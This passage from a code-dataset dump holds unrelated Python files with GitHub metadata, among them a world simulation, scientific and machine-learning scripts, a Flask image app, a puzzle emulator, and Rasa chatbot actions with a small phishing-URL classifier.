self.chunk_in_bounds(chunk):\n raise IndexError(\"Referenced chunk outside of world border\")\n\n if self.chunk_exists(chunk):\n if not self.is_chunk_loaded(chunk):\n pass\n\n else:\n self.chunks[chunk] = Chunk.Chunk(size = self.chunk_size)\n self.generated_chunks += [chunk]\n self.chunks[chunk].generate(water_cover = self.water_cover)\n\n return self.chunks[chunk]\n\n def full_world_iteration(self, speed = 1, override_dt = 0):\n for chunk in self.chunks.keys():\n self.chunks[chunk].run_iteration(regrowth_factor = self.regrowth_factor, speed = speed, override_dt = override_dt)\n\n def visible_only_world_iteration(self, renderer, camera, speed = 1):\n visible = renderer.get_chunks_in_view(camera, self)\n\n count = 0\n\n for chunk in visible:\n if self.is_chunk_loaded(chunk):\n self.chunks[chunk].run_iteration(regrowth_factor = self.regrowth_factor, speed = speed)\n count += 1\n\n\n def full_creature_iteration(self, speed = 1, override_dt = 0):\n self = self.creature_manager.full_iteration(self, speed = speed, override_dt = override_dt)\n\n def save_world_to(self, path):\n metadata = {\n \"size_limit\": self.size_limit,\n \"chunk_size\": self.chunk_size,\n \"regrowth_factor\": self.regrowth_factor,\n \"fertility_range_factor\": self.fertility_range_factor,\n \"water_cover\": self.water_cover,\n \"generated_chunks\": self.generated_chunks\n }\n with open(os.path.join(path, \"world.json\"), \"w\") as f:\n f.write(str(metadata))\n\n for chunk_key in self.chunks.keys():\n self.chunks[chunk_key].save_to(path, chunk_key)\n\n self.creature_manager.save_to(path)\n","repo_name":"evolving-dev/evolvers","sub_path":"Evolvers/World.py","file_name":"World.py","file_ext":"py","file_size_in_byte":4924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8216237041","text":"import argparse\n\nfrom nxrefine.nxreduce import NXMultiReduce, NXReduce\n\n\ndef main():\n\n parser = argparse.ArgumentParser(\n description=\"Refine lattice parameters and goniometer angles\")\n parser.add_argument('-d', '--directory', required=True,\n help='scan directory')\n parser.add_argument('-e', '--entries', nargs='+',\n help='names of entries to be processed')\n parser.add_argument('-l', '--lattice', action='store_true',\n help='refine lattice parameters')\n parser.add_argument('-p', '--polar_max', type=float,\n help='maximum polar angle in degrees')\n parser.add_argument('-T', '--hkl_tolerance', type=float,\n help='tolerance for including peak in Å-1')\n parser.add_argument('-o', '--overwrite', action='store_true',\n help='overwrite existing maximum')\n parser.add_argument('-q', '--queue', action='store_true',\n help='add to server task queue')\n\n args = parser.parse_args()\n\n if args.entries:\n entries = args.entries\n else:\n entries = NXMultiReduce(args.directory).entries\n\n for i, entry in enumerate(entries):\n if i == 0:\n lattice = args.lattice\n else:\n lattice = False\n reduce = NXReduce(entry, args.directory, refine=True,\n lattice=lattice, overwrite=args.overwrite)\n if args.polar_max:\n reduce.polar_max = args.polar_max\n if args.hkl_tolerance:\n reduce.hkl_tolerance = args.hkl_tolerance\n if args.queue:\n reduce.queue('nxrefine', args)\n else:\n reduce.nxrefine()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"nexpy/nxrefine","sub_path":"src/nxrefine/scripts/nxrefine.py","file_name":"nxrefine.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"5516655337","text":"# -*- coding: utf-8 -*-\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport urllib.request \n# import json\n\nbinDict = {}\nmenu = '''\n ************************************************\n\n Messages crypt/decrypt utf-8 - binary\n\n ************************************************\n\n Please choose what you need:\n\n [e]ncrypt message\n [d]ecrypt message*\n [q]uit and exit\n\n *If you need to decrypt, please use 16 bit by every character\n \n '''\n\n\n# def writeDict(jsonObject):\n \n# with open('binDictionary.csv','w') as f:\n# json.dump(jsonObject, f)\n\ndef getDictionary():\n print('::: Getting Dictionary ...')\n headers = {\n 'User-Agent':'...' #This page doesn't like python User-Agent\n }\n url = 'https://www.utf8-chartable.de/unicode-utf8-table.pl?utf8=bin'\n \n table_rows = []\n attrs = []\n chars = []\n \n class TableData:\n vUnicode = ''\n vChar = ''\n vBin = ''\n vName = ''\n \n tabData = TableData()\n\n response = requests.get(url,headers = headers)\n soup = BeautifulSoup(response.content,'html.parser')\n \n table_container = soup.find_all('table',class_='codetable')\n\n for item in table_container:\n table_rows = item.find_all('tr')\n\n for tr in table_rows[1:]:\n row_data = tr.find_all('td')\n map_data = list(map(lambda data: data.text, row_data))\n\n if map_data[3] != '':\n binDict[map_data[1]] = map_data[2].replace(' ','').zfill(16)\n\ndef encryptMessage(message):\n cWord=''\n for char in message:\n cWord += binDict[char]\n \n return cWord\n\ndef decryptMessage(message):\n\n # Revert binDict\n charDict = {}\n dWord = ''\n for key, value in binDict.items():\n charDict[value] = key\n\n # Decrypt message\n startPos = 0\n endPos = 16\n charItems=16\n\n while startPos < len(message):\n bin = message[startPos:endPos]\n dWord += charDict[bin]\n startPos += charItems\n endPos += charItems\n\n\n return dWord\n\ndef run(option):\n\n if option.lower() == 'e':\n encrypted = encryptMessage(str(input(\"Write the message to encrypt: \")))\n return encrypted\n elif option.lower() == 'd':\n decrypted = decryptMessage(str(input(\"Write the encrypted message (16 bit strigs): \")))\n return decrypted\n\n\nif __name__ == \"__main__\":\n #getMessage\n getDictionary()\n\n while True:\n option = str(input(menu))\n if option.lower() == 'd' or option.lower() == 'e':\n print(run(option.lower()))\n break\n elif option.lower() == 'q':\n break\n else:\n print('Warning :: option {} not available. Please try again'.format(option))\n option = str(input(menu))","repo_name":"xdaco1/pythonClasses","sub_path":"webScrapping/53.cryptoBinary.py","file_name":"53.cryptoBinary.py","file_ext":"py","file_size_in_byte":2767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29228187577","text":"from yatest.common import source_path\n\nimport os.path\n\nHOSTS_CONFIG = source_path(\"maps/analyzer/services/jams_analyzer/modules/usershandler/config/usershandler-hosts.conf\")\n\n\ndef test_configs():\n # Just check if configs for different stagings exists\n def check_staging(staging):\n config_path = HOSTS_CONFIG + \".\" + staging\n assert os.path.exists(config_path), \"'{}' staging config should exist: {}\".format(staging, config_path)\n\n check_staging(\"load\")\n check_staging(\"testing\")\n check_staging(\"stable\")\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/configs/check_configs.py","file_name":"check_configs.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29178368699","text":"from PyQt5.QtWidgets import QWidget, QGridLayout, QPushButton, QSizePolicy, QHBoxLayout, QVBoxLayout, QLabel, \\\n QSpacerItem\n\nfrom oggetto.controllore.ControlloreOggetto import ControlloreOggetto\n\n\nclass VistaOggetto(QWidget):\n def __init__(self, oggetto, rimuovi_oggetto, elimina_callback, parent=None):\n super(VistaOggetto, self).__init__()\n self.controller = ControlloreOggetto(oggetto)\n self.rimuovi_oggetto = rimuovi_oggetto\n self.elimina_callback = elimina_callback\n\n\n h_layout = QHBoxLayout()\n v_layout = QVBoxLayout()\n\n label_nome = QLabel(self.controller.get_nome_oggetto())\n font_nome = label_nome.font()\n font_nome.setPointSize(30)\n label_nome.setFont(font_nome)\n v_layout.addWidget(label_nome)\n\n v_layout.addItem(QSpacerItem(20, 40, QSizePolicy.Minimum, QSizePolicy.Expanding))\n\n v_layout.addWidget(self.get_label_info(\"TIPO\", self.controller.get_tipo_oggetto()))\n v_layout.addWidget(self.get_label_info(\"NOME\", self.controller.get_nome_oggetto()))\n v_layout.addWidget(self.get_label_info(\"DESCRIZIONE\", self.controller.get_descrizione_oggetto()))\n v_layout.addWidget(self.get_label_info(\"DATA RITROVAMENTO\", self.controller.get_data_ritrovamento_oggetto()))\n\n v_layout.addItem(QSpacerItem(20, 40, QSizePolicy.Minimum, QSizePolicy.Expanding))\n\n btn_elimina = QPushButton(\"Elimina\")\n btn_elimina.clicked.connect(self.elimina_oggetto_click)\n v_layout.addWidget(btn_elimina)\n\n self.setLayout(v_layout)\n self.resize(600, 300)\n self.setWindowTitle(self.controller.get_tipo_oggetto() + \" \" + self.controller.get_nome_oggetto())\n\n def get_label_info(self, testo, valore):\n current_label = QLabel(\"{}: {}\".format(testo, valore))\n current_font = current_label.font()\n current_font.setPointSize(17)\n current_label.setFont(current_font)\n return current_label\n\n def elimina_oggetto_click(self):\n self.rimuovi_oggetto(self.controller.get_nome_oggetto())\n self.elimina_callback()\n self.close()\n","repo_name":"AlexGuai/ProgettoIngegneriaDelSoftware","sub_path":"oggetto/view/VistaOggetto.py","file_name":"VistaOggetto.py","file_ext":"py","file_size_in_byte":2121,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9073736411","text":"from flask import Flask, render_template, request, abort, make_response\nfrom convert import convert_img\nfrom yakudo_error import YakudoError\n\napp = Flask(__name__)\n\n\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in ['png', 'jpg', 'gif', 'jpeg']\n\n\n@app.route(\"/\")\n@app.route(\"/index\")\ndef index():\n return render_template('index.html')\n\n\n@app.route(\"/upload\", methods=['POST'])\ndef upload():\n try:\n img_file = request.files['file']\n if not allowed_file(img_file.filename):\n raise YakudoError(\"Allow only png, jpg, gif file.\")\n input_data = img_file.read()\n output_data = convert_img(input_data)\n res = make_response()\n res.data = output_data\n res.headers['Content-Disposition'] = 'inline;'\n res.headers['Content-Type'] = 'image/jpeg'\n return res\n except YakudoError as e:\n return str(e)\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"8q/flask-yakudo","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40346382594","text":"# 这种用法见：https://www.bbsmax.com/A/ke5jPoXyzr/\n\n\nimport datetime\nimport random\nfrom pyecharts import options as opts\nfrom pyecharts.charts import Calendar\nimport os,sys\n\ndef calendar_base() -> Calendar:\n begin = datetime.date(2018, 1, 1) #设置起始日期\n end = datetime.date(2019, 12, 31) #设置终止日期\n data =[\n [str(begin + datetime.timedelta(days=i)), random.randint(1000, 25000)] #设置日期间隔，步数范围\n for i in range((end - begin).days + 1)\n ]\n c = (\n Calendar()\n .add('', data, calendar_opts=opts.CalendarOpts(range_='2019')) #添加到日历图，指定显示2019年数据\n .set_global_opts( #设置底部显示条，解释数据\n title_opts=opts.TitleOpts(title='2019年微信步数的情况',subtitle='From Weix'),\n visualmap_opts=opts.VisualMapOpts(\n max_=20000,\n min_=500,\n orient='vertical', #设置垂直显示\n pos_top='230px',\n pos_left='100px',\n is_piecewise=True #是否连续\n )\n )\n )\n \n return c.render('charts1.html')\n\nif __name__ == \"__main__\":\n os.chdir(sys.path[0]) # 改变目录\n calendar_base()","repo_name":"human7/python_tool","sub_path":"novel_update/getNovel_updateInfo/test1_class.py","file_name":"test1_class.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"34748204851","text":"#!/usr/bin/python3\n# phasenn_train.py\n#\n# David Rowe Dec 2019\n#\n# Train a NN to model phase from Codec 2 (sinusoidal model) amplitudes.\n#\n\nimport numpy as np\nimport sys\nfrom mpl_toolkits.mplot3d import axes3d\nimport matplotlib.pyplot as plt\nfrom scipy import signal\nimport codec2_model\nimport argparse\nimport os\nfrom keras.layers import Input, Dense, Concatenate\nfrom keras import models,layers\nfrom keras import initializers\nfrom keras import backend as K\n\n# less verbose tensorflow ....\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\n# constants\n\nN = 80 # number of time domain samples in frame\nwidth = 256\npairs = 2*width\nFs = 8000\nnb_batch = 32\nnb_plots = 6\n\ndef list_str(values):\n return values.split(',')\n\nparser = argparse.ArgumentParser(description='Train a NN to model Codec 2 phases')\nparser.add_argument('modelfile', help='Codec 2 model file with linear phase removed')\nparser.add_argument('--nb_samples', type=int, default=1000000, help='Number of frames to train on')\nparser.add_argument('--frames', type=list_str, default=\"30,31,32,33,34,35\", help='Frames to view')\nparser.add_argument('--epochs', type=int, default=10, help='Number of training epochs')\nparser.add_argument('--nnout', type=str, default=\"phasenn.h5\", help='Name of output Codec 2 model file')\nparser.add_argument('--plotunvoiced', action='store_true', help='plot unvoiced frames')\nargs = parser.parse_args()\n\nassert nb_plots == len(args.frames)\n\n# read in model file records\nWo, L, A, phase, voiced = codec2_model.read(args.modelfile, args.nb_samples)\nnb_samples = Wo.size;\nnb_voiced = np.count_nonzero(voiced)\nprint(\"nb_samples: %d voiced %d\" % (nb_samples, nb_voiced))\n\n# work out average energy for each frame (in dB)\nenergy_thresh = 10\nenergy = np.zeros(nb_samples)\nnb_train = 0\nfor i in range(nb_samples):\n energy[i] = np.mean(20*np.log10(A[i,1:L[i]+1]))\n if (energy[i] > energy_thresh) and voiced[i]:\n nb_train += 1\nprint(\"energy mean: %4.2f thresh: %4.2f nb_train: %d\" % (np.mean(energy),energy_thresh, nb_train))\n\n# set up sparse vectors, phase represented by cos(), sin() pairs\namp = np.zeros((nb_samples, width))\nphase_rect = np.zeros((nb_samples, pairs))\nfor i in range(nb_samples):\n for m in range(1,L[i]+1):\n bin = int(np.round(m*Wo[i]*width/np.pi)); bin = min(width-1, bin)\n amp[i,bin] = np.log10(A[i,m])\n phase_rect[i,2*bin] = np.cos(phase[i,m])\n phase_rect[i,2*bin+1] = np.sin(phase[i,m])\n\n# extract voiced frames above enregy threshold for training\namp_train = np.zeros((nb_train, width))\nphase_train_rect = np.zeros((nb_train, pairs))\nj = 0\nfor i in range(nb_samples):\n if (energy[i] > energy_thresh) and voiced[i]:\n amp_train[j,:] = amp[i,:]\n phase_train_rect[j,:] = phase_rect[i,:]\n j += 1\n \n# our model\nmodel = models.Sequential()\nmodel.add(layers.Dense(pairs, activation='relu', input_dim=width))\nmodel.add(layers.Dense(4*pairs, activation='relu'))\nmodel.add(layers.Dense(pairs))\nmodel.summary()\n\n# custom loss function - we only care about (cos,sin) outputs at the\n# non-zero positions in the sparse y_true vector. To avoid driving the\n# other samples to 0 we use a sparse loss function. The normalisation\n# term accounts for the time varying number of no-zero samples.\ndef sparse_loss(y_true, y_pred):\n mask = K.cast( K.not_equal(y_true, 0), dtype='float32')\n n = K.sum(mask)\n return K.sum(K.square((y_pred - y_true)*mask))/n\n\n# testing custom loss function\ny_true = Input(shape=(None,))\ny_pred = Input(shape=(None,))\nloss_func = K.Function([y_true, y_pred], [sparse_loss(y_true, y_pred)])\nassert loss_func([[[0,1,0]], [[2,2,2]]]) == np.array([1])\nassert loss_func([[[1,1,0]], [[3,2,2]]]) == np.array([2.5])\nassert loss_func([[[0,1,0]], [[0,2,0]]]) == np.array([1])\n\n# fit the model\nfrom keras import optimizers\nsgd = optimizers.SGD(lr=0.05, decay=1e-6, momentum=0.9, nesterov=True)\nmodel.compile(loss=sparse_loss, optimizer=sgd)\n\n# training propper with real phase data\nhistory = model.fit(amp_train, phase_train_rect, batch_size=nb_batch, epochs=args.epochs, validation_split=0.1)\nmodel.save(args.nnout)\n\n# measure error in angle over all samples\n\nphase_rect_est = model.predict(amp)\nphase_est = np.zeros((nb_samples, width))\nused_bins = np.zeros((nb_samples, width), dtype=int)\nfor i in range(nb_samples):\n for m in range(1,L[i]+1):\n bin = int(np.round(m*Wo[i]*width/np.pi)); bin = min(width-1, bin)\n phase_est[i,m] = np.angle(phase_rect_est[i,2*bin] + 1j*phase_rect_est[i,2*bin+1])\n used_bins[i,m] = 1\n \nind = np.nonzero(used_bins)\nc1 = np.exp(1j*phase[ind]); c2 = np.exp(1j*phase_est[ind]);\nerr_angle = np.angle(c1 * np.conj(c2)) \nvar = np.var(err_angle)\nstd = np.std(err_angle)\nprint(\"angle var: %4.2f std: %4.2f rads\" % (var,std))\nprint(\"angle var: %4.2f std: %4.2f degs\" % ((std*180/np.pi)**2,std*180/np.pi))\n\n# synthesise time domain signal\ndef sample_time(r, phase):\n s = np.zeros(2*N);\n \n for m in range(1,L[r]+1):\n s = s + A[r,m]*np.cos(m*Wo[r]*range(-N,N) + phase[r,m])\n return s\n\nif args.plotunvoiced:\n # find first 6 unvoiced frames\n nb_plots = 6\n frames = np.zeros(nb_plots, dtype=int)\n uv = 0\n for i in range(nb_samples):\n if (voiced[i] == 0) and (uv < nb_plots):\n frames[uv] = i; uv += 1\nelse: \n frames = np.array(args.frames,dtype=int)\n nb_plots = frames.size\nnb_plotsy = np.floor(np.sqrt(nb_plots)); nb_plotsx=nb_plots/nb_plotsy;\n\nplt.figure(1)\nplt.plot(history.history['loss'])\nplt.plot(history.history['val_loss'])\nplt.legend(['train', 'valid'], loc='upper right')\nplt.title('model loss')\nplt.xlabel('epoch')\nplt.show(block=False)\n\nplt.figure(2)\nplt.title('Amplitudes Spectra')\nfor r in range(nb_plots):\n plt.subplot(nb_plotsy,nb_plotsx,r+1)\n f = frames[r];\n plt.plot(np.log10(A[f,1:L[f]]),'g')\n t = \"frame %d\" % (f)\n plt.title(t)\nplt.show(block=False)\n\nplt.figure(3)\nplt.title('Phase Spectra')\nfor r in range(nb_plots):\n plt.subplot(nb_plotsy,nb_plotsx,r+1)\n f = frames[r]\n plt.plot(phase[f,1:L[f]]*180/np.pi,'g') \n plt.plot(phase_est[f,1:L[f]]*180/np.pi,'r') \n plt.ylim(-180,180)\n #plt.legend((\"phase\",\"phase_est\"))\nplt.show(block=False)\n \nplt.figure(4)\nplt.title('Time Domain')\nfor r in range(nb_plots):\n plt.subplot(nb_plotsy,nb_plotsx,r+1)\n f = frames[r];\n s = sample_time(f, phase)\n s_est = sample_time(f, phase_est)\n plt.plot(range(-N,N),s,'g')\n plt.plot(range(-N,N),s_est,'r') \n #plt.legend((\"s\",\"s_est\"))\nplt.show(block=False)\n\nprint(\"Click on last figure to finish....\")\nplt.waitforbuttonpress(0)\nplt.close()\n","repo_name":"drowe67/phasenn","sub_path":"phasenn_train.py","file_name":"phasenn_train.py","file_ext":"py","file_size_in_byte":6678,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"7055405271","text":"# https://adventofcode.com/2016/day/25\nfrom __future__ import print_function\nfrom pprint import pprint\nfrom pathlib import Path\nfrom collections import defaultdict\n\nMAX_OUT = 12\n\ndef emulate(prog, registers):\n def value(arg):\n return int(arg) if not arg.isalpha() else registers[arg]\n\n ip = 0\n prev = 1\n cnt = 0\n while ip < len(prog):\n op, *args = prog[ip]\n if op == \"out\":\n val = value(args[0])\n cnt += 1\n if cnt >= MAX_OUT or abs(val - prev) == 0:\n registers['a'] = cnt\n break\n prev = val\n elif op == \"cpy\":\n src, dest = args\n if dest.isalpha():\n registers[dest] = value(src)\n elif op == \"inc\":\n reg = args[0]\n if reg.isalpha():\n registers[reg] += 1\n elif op == \"dec\":\n reg = args[0]\n if reg.isalpha():\n registers[reg] -= 1\n elif op == \"jnz\":\n reg, offset = args\n ip += value(offset) if value(reg) else 1\n continue\n else:\n raise NotImplementedError(ip, ' '.join(prog[ip]))\n ip += 1\n\n\ndef run(prog, reg_init=None):\n registers = defaultdict(int)\n if reg_init:\n reg, val = reg_init\n registers[reg] = val\n emulate(prog, registers)\n return registers['a']\n\n\ndef process(data):\n # part 1\n for i in range(1000):\n if run(data, ('a', i)) >= MAX_OUT:\n break\n print(\"part 1:\", i)\n\n\ndef load_data(fileobj):\n return [line.strip().split() for line in fileobj.readlines()]\n\n\ndef main(file=\"input.txt\"):\n print(file)\n with Path(__file__).parent.joinpath(file).open() as f:\n process(load_data(f))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"PetrPrazak/AdventOfCode","sub_path":"2016/25/aoc2016_25.py","file_name":"aoc2016_25.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34192754730","text":"import pygame\r\nimport Spritesheet\r\nfrom Player import Player\r\n\r\n\r\nclass Area:\r\n def __init__(self, game):\r\n self.game = game\r\n\r\n\r\nclass Area1(Area):\r\n def __init__(self, game):\r\n Area.__init__(self, game)\r\n self.background_image = pygame.image.load('Ground.png').convert_alpha()\r\n self.background = Spritesheet.SpriteSheet(self.background_image)\r\n self.player = Player(200, 275)\r\n\r\n def display(self):\r\n self.game.screen.blit(self.background.get_image(0, 1000, 1000, 0.5, (0, 0, 0)), (0, 0))\r\n self.player.move()\r\n self.player.render(self.game.screen)\r\n","repo_name":"Ismail22201/2d-platform-game","sub_path":"2D Platfrom Game/Area.py","file_name":"Area.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9111697769","text":"#!/usr/bin/env python\n\nfrom descriptions import NavigateToLocationDescription\nfrom skiros2_skill.core.skill import SkillBase\n\nclass NavigateToLocation(SkillBase):\n def createDescription(self):\n self.setDescription(NavigateToLocationDescription(), 'navigatetolocation')\n\n def set_relation(self, src, rel, dst, state):\n return self.skill('WmSetRelation', 'wm_set_relation',\n remap={'Dst': dst},\n specify={'Src': self.params[src].value, 'Relation': rel, 'RelationState': state})\n\n def expand(self, skill):\n skill(\n self.skill('NavigateToLocationPrimitiveDescription', 'NavigateToLocationPrimitive'),\n self.set_relation('Robot', 'skiros:at', 'Start', False),\n self.set_relation('Robot', 'skiros:at', 'Destination', True)\n )\n","repo_name":"unocps/paintbot","sub_path":"catkin_ws/src/paintbot_skiros/src/navigation/skills.py","file_name":"skills.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70468629843","text":"import tensorflow as tf\nimport tensorflow_datasets as tfds\nfrom util import modeling\nimport gc\nimport json\nimport pandas as pd\nimport numpy as np\n\ndef main():\n \"\"\"\n Experiment to test if we can jointly optimize for the distance between two representations\n in two separate networks AND their in distribution performance.\n \"\"\"\n\n (x_train, y_train), (x_test, y_test) = tf.keras.datasets.mnist.load_data()\n x_train = x_train.reshape(x_train.shape + (1,))\n x_test = x_test.reshape(x_test.shape + (1,))\n x_train = x_train.astype(\"float32\") / 255\n x_test = x_test.astype(\"float32\") / 255\n input_shape = (28, 28, 1)\n\n # baseline_model = tf.keras.Sequential(\n # [\n # tf.keras.Input(shape=input_shape),\n # tf.keras.layers.ZeroPadding2D(2),\n # tf.keras.layers.Conv2D(16, kernel_size=(5, 5), activation=\"relu\"),\n # tf.keras.layers.MaxPooling2D(pool_size=(2, 2),strides=2),\n # tf.keras.layers.ZeroPadding2D(2),\n # tf.keras.layers.Conv2D(16, kernel_size=(5, 5), activation=\"relu\"),\n # tf.keras.layers.MaxPooling2D(pool_size=(2, 2),strides=2),\n # tf.keras.layers.ZeroPadding2D(2),\n # tf.keras.layers.Conv2D(16, kernel_size=(5, 5), activation=\"relu\"),\n # tf.keras.layers.MaxPooling2D(pool_size=(2, 2),strides=2),\n # tf.keras.layers.Flatten(),\n # tf.keras.layers.Dense(32,activation=\"relu\"),\n # tf.keras.layers.Dense(32,activation=\"relu\"),\n # tf.keras.layers.Dense(10),\n # ]\n # )\n\n ds = tfds.load('mnist_corrupted/stripe', split='test', shuffle_files=False, batch_size=-1)\n corrupted_images = tfds.as_numpy(ds)['image']\n\n stats = pd.DataFrame([],columns=['beta','rep_loss','y1_acc','y2_acc','distillation_loss','val_distillation_loss','train_agreement','val_agreement','corruption_agreement','epochs'])\n\n for beta in [-1,0,1e-3,5e-3,1e-2,1]:\n model_A = tf.keras.models.load_model('../data/model_width_4_iteration_0')\n model_A1 = tf.keras.models.Model(model_A.input,model_A.layers[11].output)\n model_A2 = tf.keras.models.Model(model_A.layers[12].input,model_A.output)\n\n model_B = tf.keras.models.load_model('../data/model_width_4_iteration_0')\n model_B1 = tf.keras.models.Model(model_B.input,model_B.layers[11].output)\n model_B2 = tf.keras.models.Model(model_B.layers[12].input,model_B.output)\n\n model = modeling.HModel(model_A1=model_A1,model_A2=model_A2,model_B1=model_B1,model_B2=model_B2)\n\n model_A1.build((None,28,28,1))\n model_B1.build((None,28,28,1))\n model_A2.build((None,32))\n model_B2.build((None,32))\n model.build((None,28,28,1))\n\n model.compile(\n optimizer=tf.keras.optimizers.Adam(),\n y1_metrics=[tf.keras.metrics.SparseCategoricalAccuracy()],\n y2_metrics=[tf.keras.metrics.SparseCategoricalAccuracy()],\n rep_loss_fn=modeling.lin_cka_dist_2,\n y1_loss_fn=tf.keras.losses.SparseCategoricalCrossentropy(), \n y2_loss_fn=tf.keras.losses.SparseCategoricalCrossentropy(),\n distillation_loss_fn=tf.keras.losses.KLDivergence(),\n alpha=0.5,\n beta=100,\n )\n\n history = model.fit(x_train,y_train,validation_data=(x_test,y_test),batch_size=256,epochs=100,\n callbacks=[tf.keras.callbacks.EarlyStopping(\n monitor='val_loss',\n mode='min',\n min_delta=0,\n patience=5,\n restore_best_weights=True,\n )])\n\n y1_predictions,y2_predictions = model.predict(x_train)\n train_agreement = modeling.prediction_agreement(y1_predictions,y2_predictions)\n\n y1_predictions,y2_predictions = model.predict(x_test)\n val_agreement = modeling.prediction_agreement(y1_predictions,y2_predictions)\n\n y1_predictions,y2_predictions = model.predict(corrupted_images)\n corrupted_agreement = modeling.prediction_agreement(y1_predictions,y2_predictions)\n\n history = history.history\n json.dump(history,open('../experiment_data/mnist_dense_2_pretrained_width_32/histories/beta_'+str(beta)+'.json','w'))\n\n # model.save('../experiments/mnist_dense_1_width_16/models/hmodel_beta_'+str(beta))\n\n best_epoch = np.argmin(history['val_loss'])\n stats.loc[len(stats)] = [beta,\n history['val_rep_loss'][best_epoch],\n history['val_y1_sparse_categorical_accuracy'][best_epoch],\n history['val_y2_sparse_categorical_accuracy'][best_epoch],\n history['distillation_loss'][best_epoch],\n history['val_distillation_loss'][best_epoch],\n train_agreement,\n val_agreement,\n corrupted_agreement,\n best_epoch]\n stats.to_csv('../experiment_data/mnist_dense_2_pretrained_width_32/stats.csv')\n\n del model_A\n del model_A1\n del model_A2\n del model_B\n del model_B1\n del model_B2\n del model\n gc.collect()\n\nif __name__ == '__main__':\n main()","repo_name":"lhayne/functional-correspondence-tensorflow","sub_path":"experiment_scripts/dist_op_experiment_1.py","file_name":"dist_op_experiment_1.py","file_ext":"py","file_size_in_byte":5362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9470048730","text":"# This files contains your custom actions which can be used to run\n# custom Python code.\n#\n# See this guide on how to implement these action:\n# https://rasa.com/docs/rasa/custom-actions\n\n\n# This is a simple example for a custom action which utters \"Hello World!\"\n\nfrom typing import Any, Text, Dict, List\n#\nfrom rasa_sdk import Action, Tracker\nfrom rasa_sdk.executor import CollectingDispatcher\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.metrics import f1_score\nimport time\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.model_selection import RepeatedStratifiedKFold\nfrom sklearn.ensemble import RandomForestClassifier\nimport re\n\ndata_df = pd.read_csv(\"phishing/web_dataset_small.csv\")\n#feat_top = [\"time_domain_activation\",\"directory_length\",\"length_url\",\"qty_slash_directory\",\"ttl_hostname\",\"asn_ip\",\"qty_slash_url\",\"file_length\",\"time_response\",\"time_domain_expiration\"]\nfeat_top = [\"directory_length\",\"length_url\",\"qty_slash_directory\",\"ttl_hostname\",\"qty_slash_url\",\"file_length\"]\ny = data_df[\"phishing\"]\nx = data_df[feat_top]\nX_train, X_test, y_train, y_test = train_test_split(x, y, test_size=0.20, random_state=42)\n\nscaler = StandardScaler()\nX_train = scaler.fit_transform(X_train)\nX_test = scaler.transform(X_test)\n\nrfc = RandomForestClassifier()\nrfc.fit(X_train,y_train)\ny_pred = rfc.predict(X_test)\n\n\n\ndef str_length(s):\n return len(s)\n\n\ndef extract_urlfeatures(sample):\n length_dict = {}\n\n # Extracting features\n domainname = re.findall('://www.([\\w\\-\\.]+)', sample)[0]\n pathname = \"/\".join(sample.split(\"/\")[3:])\n directoryname = \"/\".join(pathname.split(\"/\")[:1])\n filename_params = \"/\".join(pathname.split(\"/\")[1:])\n filename = \"?\".join(filename_params.split(\"?\")[:1])\n params_combined = \"?\".join(filename_params.split(\"?\")[1:])\n params = \"\".join(re.findall('=([\\w\\-\\.]+)', params_combined))\n\n length_dict[\"length_url\"] = str_length(\"www\"+domainname)\n length_dict[\"qty_slash_directory\"] = directoryname.count(\"/\")\n length_dict[\"qty_slash_url\"] = sample.count(\"/\")\n length_dict[\"ttl_hostname\"] = 2977\n length_dict[\"file_length\"] = str_length(filename)\n length_dict[\"directory_length\"] = str_length(directoryname)\n\n df = pd.DataFrame([length_dict])\n return df\n\n\nclass ActionExerciseUrlCheck(Action):\n\n def name(self) -> Text:\n return \"action_exercise_url\"\n\n def run(self, dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n \n sample_url = \"https://www.webmd.com/fitness-exercise/features/7-most-effective-exercises\"\n\n d_df = extract_urlfeatures(sample_url)\n d_df = scaler.transform(d_df)\n print(rfc.predict(d_df))\n text = \"Here is the URL to help you:https://www.webmd.com/fitness-exercise/features/7-most-effective-exercises\"\n dispatcher.utter_message(text=text)\n\n return []\n\nclass ActionDietUrlCheck(Action):\n\n def name(self) -> Text:\n return \"action_diet_url\"\n\n def run(self, dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n \n 